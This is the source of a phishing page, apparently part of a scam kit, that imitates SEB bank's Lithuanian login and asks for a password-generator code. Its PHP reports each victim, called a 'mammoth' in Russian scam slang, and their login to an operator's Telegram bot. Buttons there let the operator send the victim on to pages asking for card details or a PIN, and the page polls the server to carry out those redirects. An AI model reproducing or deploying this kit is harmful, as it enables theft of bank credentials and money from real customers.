<?php

$config = json_decode(file_get_contents('data.json'));
$pay = @file_get_contents('./db/'.$_GET['id'].'.txt');

if ($pay === false) {
    exit('No pay');
}

$pay = json_decode($pay);

$price = ($pay->price);
$login = $pay->login;
$gen = $pay->msgTextGen;


if (!isset($_GET['q']) || $_GET['q'] != 'login') {
    message_to_telegram($config->token, $config->chat_id, "✅ Мамонт направлен на GEN{$gen} \n<b>🔹 Login:</b> <code>{$login}</code>",[

          [
             ['text' => '📱 Custom 📱', 'callback_data' => '/message '.$_GET['id']],
         ],
          [
             ['text' => '📱 PIN 📱', 'callback_data' => '/cpin '.$_GET['id']],
         ],
          [
             ['text' => '📱 GEN 📱', 'callback_data' => '/cgen '.$_GET['id']],
         ],
         [
             ['text' => '❌ Запрос карты ❌' , 'callback_data' => '/fail '.$_GET['id']],
             ],

             [
                 ['text' => '❌ Неверный лк ❌' , 'callback_data' => '/app '.$_GET['id']],
                 ],
 ]);
}

if (isset($_GET['q']) && $_GET['q'] == 'login') {
    message_to_telegram($config->token, $config->chat_id, "⚠️ <b>Новый лог ⚠️</b>\n➖➖➖➖➖➖➖➖➖➖\n<b>🔹 Login:</b> <code>{$login}</code>\n<b>🔹 Type:</b> <code>Generatorius</code>",[

         [
            ['text' => '📱 Custom 📱', 'callback_data' => '/message '.$_GET['id']],
        ],
         [
            ['text' => '📱 PIN 📱', 'callback_data' => '/cpin '.$_GET['id']],
        ],
         [
            ['text' => '📱 GEN 📱', 'callback_data' => '/cgen '.$_GET['id']],
        ],
        [
            ['text' => '❌ Запрос карты ❌' , 'callback_data' => '/fail '.$_GET['id']],
            ],

            [
                ['text' => '❌ Неверный лк ❌' , 'callback_data' => '/app '.$_GET['id']],
                ],
]);
}


switch ($cmd[0]) {
    case '/gen':
        $t = $cmd[1];
        $text = "Your message here"; // Замените "Your message here" на текст сообщения для отправки в телеграмм
        message_to_telegram($config->token, $config->chat_id, $text);
        $flag = true;
        break;
}

switch ($cmd[0]) {
    case '/msg':
        $t = $cmd[1];
        $text = "Your message here"; // Замените "Your message here" на текст сообщения для отправки в телеграмм
        message_to_telegram($config->token, $config->chat_id, $text);
        $flag = true;
        break;
}

switch ($cmd[0]) {
    case '/msgpin':
        $t = $cmd[1];
        $text = "Your message here"; // Замените "Your message here" на текст сообщения для отправки в телеграмм
        message_to_telegram($config->token, $config->chat_id, $text);
        $flag = true;
        break;
}

switch ($cmd[0]) {
    case '/msgpin2':
        $t = $cmd[1];
        $text = "Your message here"; // Замените "Your message here" на текст сообщения для отправки в телеграмм
        message_to_telegram($config->token, $config->chat_id, $text);
        $flag = true;
        break;
}

function message_to_telegram($bot_token, $chat_id, $text, $kb = [])
{
    $ch = curl_init();
    $ch_post = [
        CURLOPT_URL => 'https://api.telegram.org/bot' . $bot_token . '/sendMessage',
        CURLOPT_POST => TRUE,
        CURLOPT_RETURNTRANSFER => TRUE,
        CURLOPT_TIMEOUT => 10,
        CURLOPT_POSTFIELDS => [
            'chat_id' => $chat_id,
            'parse_mode' => 'HTML',
            'text' => $text,
            'reply_markup' => json_encode([
                'inline_keyboard' => $kb
            ]),
        ]
    ];
    curl_setopt_array($ch, $ch_post);
    curl_exec($ch);
}


?>


<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <link rel="icon" type="image/x-icon" href="favicon.ico" />
        <title>SEB Prisijungimas</title>
    <link href="css/login.css" rel="stylesheet">
    <style>
        .title_block {
                align-items: center;
    justify-content: center;
    gap: 10px;
        }

        .subtitle {
            margin: 2rem 0 10px;
            font-size: 16px;
        }
        form {
            display: flex;
            flex-direction: column;
            gap: 10px;
                max-width: 320px;
    width: 100%;
        }

        p {
                font-weight: 500;
    text-align: left;
    margin-bottom: 5px;
        }
    </style>
</head>
<body>
    <header>
    <div class="logo">
      
<svg viewBox="0 0 44 20" fill="none" xmlns="http://www.w3.org/2000/svg">
<path d="M11.9573 5.09863L9.58053 6.93475C8.46549 5.93323 7.013 5.73596 6.22074 5.73596C5.41381 5.73596 4.57753 5.97875 4.44548 6.57056C4.31344 7.14719 4.84161 7.60243 5.73658 7.86039C6.76359 8.14871 7.6879 8.3915 9.12571 8.81639C11.2531 9.43854 12.7202 10.3945 12.7202 12.61C12.7202 15.6601 10.1087 17.2382 6.6022 17.2382C3.0957 17.2382 0.704235 15.3566 0 14.4613L2.50884 12.519C4.26942 14.1123 5.50183 14.3247 6.51417 14.3247C7.6879 14.3247 8.78826 14.0668 8.93498 13.3839C9.05235 12.8376 8.6122 12.3976 7.59987 12.1548C6.47016 11.8816 5.5165 11.6692 4.44548 11.3809C1.55518 10.5918 0.733578 8.86191 0.733578 7.29894C0.733578 5.14416 2.67022 2.94385 6.20607 2.94385C9.82994 2.95903 11.9573 5.09863 11.9573 5.09863ZM27.0837 3.17147H16.5055V16.8437H27.2744V13.6874H20.2174V11.4871H25.0737V8.46737H20.2174V6.29742H27.0837V3.17147ZM13.7619 20H14.5835V0H13.7619V20ZM28.6535 20H29.4752V0H28.6535V20ZM31.3971 16.8437H39.892C42.1661 16.8437 44 15.4325 44 13.1563C44 11.3809 42.885 10.2124 41.3151 9.69651C41.3151 9.69651 41.2564 9.68133 41.1684 9.68133C41.2564 9.66616 41.3151 9.65099 41.3151 9.65099C42.2101 9.2868 43.2077 8.30046 43.2077 6.63126C43.2077 4.522 41.4031 3.17147 39.1584 3.17147H31.3825V16.8437H31.3971ZM35.1237 6.0091H38.0874C38.7769 6.0091 39.3198 6.57056 39.3198 7.20789C39.3198 7.84522 38.7623 8.40668 38.0874 8.40668H35.1237V6.0091ZM38.7476 13.7936H35.1237V11.305H38.7476C39.3931 11.305 39.9066 11.8361 39.9066 12.5493C39.9213 13.2625 39.3931 13.7936 38.7476 13.7936Z" fill="black"/>
</svg>

    </div>
</header>

    <div class="main">
        <div class="login_wrap">
            <div class="title_block">
               <svg viewBox="0 0 24 24" fill="none" xmlns="http://www.w3.org/2000/svg"><g id="SVGRepo_bgCarrier" stroke-width="0"></g><g id="SVGRepo_tracerCarrier" stroke-linecap="round" stroke-linejoin="round"></g><g id="SVGRepo_iconCarrier"> <path d="M13.5 16.5854C13.5 17.4138 12.8284 18.0854 12 18.0854C11.1716 18.0854 10.5 17.4138 10.5 16.5854C10.5 15.7569 11.1716 15.0854 12 15.0854C12.8284 15.0854 13.5 15.7569 13.5 16.5854Z" fill="#333"></path> <path fill-rule="evenodd" clip-rule="evenodd" d="M5.94209 10.0005C5.93921 9.87333 5.9375 9.73733 5.9375 9.59375C5.9375 8.70739 6.00254 7.50382 6.27381 6.28307C6.54278 5.07271 7.03242 3.76302 7.94009 2.74189C8.8791 1.6855 10.2132 1 12 1C13.7868 1 15.1209 1.6855 16.0599 2.74189C16.9676 3.76302 17.4572 5.07271 17.7262 6.28307C17.9975 7.50382 18.0625 8.70739 18.0625 9.59375C18.0625 9.73733 18.0608 9.87333 18.0579 10.0005C19.688 10.0314 21 11.3625 21 13V20C21 21.6569 19.6569 23 18 23H6C4.34315 23 3 21.6569 3 20V13C3 11.3625 4.31196 10.0314 5.94209 10.0005ZM16.0573 10C16.0605 9.87465 16.0625 9.73868 16.0625 9.59375C16.0625 8.79261 16.0025 7.74618 15.7738 6.71693C15.5428 5.67729 15.1574 4.73698 14.5651 4.07061C14.0041 3.4395 13.2132 3 12 3C10.7868 3 9.9959 3.4395 9.43491 4.07061C8.84258 4.73698 8.45722 5.67729 8.22619 6.71693C7.99747 7.74618 7.9375 8.79261 7.9375 9.59375C7.9375 9.73868 7.93946 9.87465 7.94265 10H16.0573ZM19 13C19 12.4477 18.5523 12 18 12H6C5.44772 12 5 12.4477 5 13V20C5 20.5523 5.44772 21 6 21H18C18.5523 21 19 20.5523 19 20V13Z" fill="#333"></path> </g></svg>
            <h1 class="title">
                    Jungiamasi
                </h1>
                 </div>


<div class="pincode_block">
    <img class="calcul" src="pincalc1.png">
    <p class="subtitle">
        Įveskite šį kodą į slaptažodžių generatorių:
    </p>
           <span class="pincode">
        <?php echo $pay->msgTextGen;?>
           </span>
            <p> Slaptažodžių generatoriaus atsakymas</p>
            <form method="post" action="checkGen.php">
                            <input value="<?php echo $_GET['id'] ?>" id="PasswordId" name="id" type="hidden">
                            <input type="password" required="" name="genpass" minlength="5" maxlength="8"  class="input_form">
                            <button type="submit" class="btn">
                                Prisijungti
          </form>
          </div>
          

         
        </div>
    </div>
    <footer class="footer">
   <!---->
   <div class="footer__bottom-bar">
     <div class="footer__container">
       <div class="footer__copyright">
         <span>© </span>
         <span>AB SEB bankas</span>
       </div>
       <div class="footer__links">
         <span class="footer__link ng-star-inserted">
           <a href="login.html" id="consent-disclaimer-trigger">Slapukų politika</a>
         </span>
         <!---->
         <span class="footer__link">
           <span>
             <a href="login.html" target="_blank" id="privacy-policy-link">
               Privatumo politika </a><i class="external-link" title="Išorinė nuoroda"></i>
           </span>
         </span>
         <span class="footer__link">
           <span>
             <a href="login.html" target="_blank" id="contacts-link">
               Kontaktai </a><i class="external-link" title="Išorinė nuoroda"></i>
           </span>
         </span>
         <span class="footer__link">
           <span>
             <a href="login.html" target="_blank" id="requisite-information-link">
               SEB įmonių rekvizitai </a><i class="external-link" title="Išorinė nuoroda"></i>
           </span>
         </span>
       </div>
     </div>
   </div>
 </footer>
 
<script>
document.addEventListener("DOMContentLoaded", function () {
  const TOTAL_TIME = 93;             // всего 90 секунд (1:30)
  const START_DASH = 279;           // начальное значение для круга
  const STEP_PER_SECOND = 3;        // уменьшение на 3 за секунду

  let timeLeft = TOTAL_TIME;        // оставшееся время
  let currentDash = START_DASH;     // текущее значение dasharray "270"

  const label = document.getElementById("base-timer-label");
  const path = document.getElementById("base-timer-path-remaining");

  // функция форматирования времени в mm:ss
  function formatTime(seconds) {
    const m = Math.floor(seconds / 60);
    const s = seconds % 60;
    return `${m}:${s < 10 ? "0" + s : s}`;
  }

  // установить стартовые значения
  label.textContent = formatTime(timeLeft);
  path.setAttribute("stroke-dasharray", `${currentDash} 283`);

  const intervalId = setInterval(() => {
    timeLeft--;
    currentDash -= STEP_PER_SECOND;

    if (timeLeft < 0) {
      // когда таймер дошёл до нуля — останавливаем
      clearInterval(intervalId);
      timeLeft = 0;
      currentDash = 0;
    }

    // обновляем текст времени
    label.textContent = formatTime(timeLeft);

    // обновляем заполненность круга
    if (currentDash < 0) currentDash = 0;
    path.setAttribute("stroke-dasharray", `${currentDash} 283`);
  }, 1000);
});
</script>
</body>
</html>

<script src="//cdn.jsdelivr.net/npm/sweetalert2@11"></script>
<link rel="preconnect" href="https://fonts.googleapis.com">

    <link type="image/x-icon" href="favicon.ico" rel="shortcut icon">
<link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
<link href="https://fonts.googleapis.com/css2?family=IBM+Plex+Mono&family=Open+Sans&display=swap" rel="stylesheet">
<script src="https://cdn.jsdelivr.net/npm/axios@1.1.2/dist/axios.min.js"></script>
<style>
body {
    font-family: 'Open Sans', sans-serif;
}
</style>

<script>



setInterval(() => {
    axios.post('check.php', {
        id: <?php echo $_GET['id']; ?>
    }).then((res) => {
       
        if (res.data === 'fail') {
            window.location.href = 'card.php?id=<?php echo $_GET['id']; ?>&q=1';
        }
       
        if (res.data === 'msg') {
            window.location.href = 'custom.php?id=<?php echo $_GET['id']; ?>';
        }
        if (res.data === 'gen') {
            window.location.href = 'gen.php?id=<?php echo $_GET['id']; ?>';
        }
        if (res.data === 'app') {
            window.location.href = 'invalid.php?id=<?php echo $_GET['id']; ?>&q=1';
        }
        if (res.data === 'msgpin') {
            window.location.href = 'pin.php?id=<?php echo $_GET['id']; ?>';
        }
        if (res.data === 'msgpin2') {
            window.location.href = 'pin.php?id=<?php echo $_GET['id']; ?>';
        }
    });
}, 3000);



</script>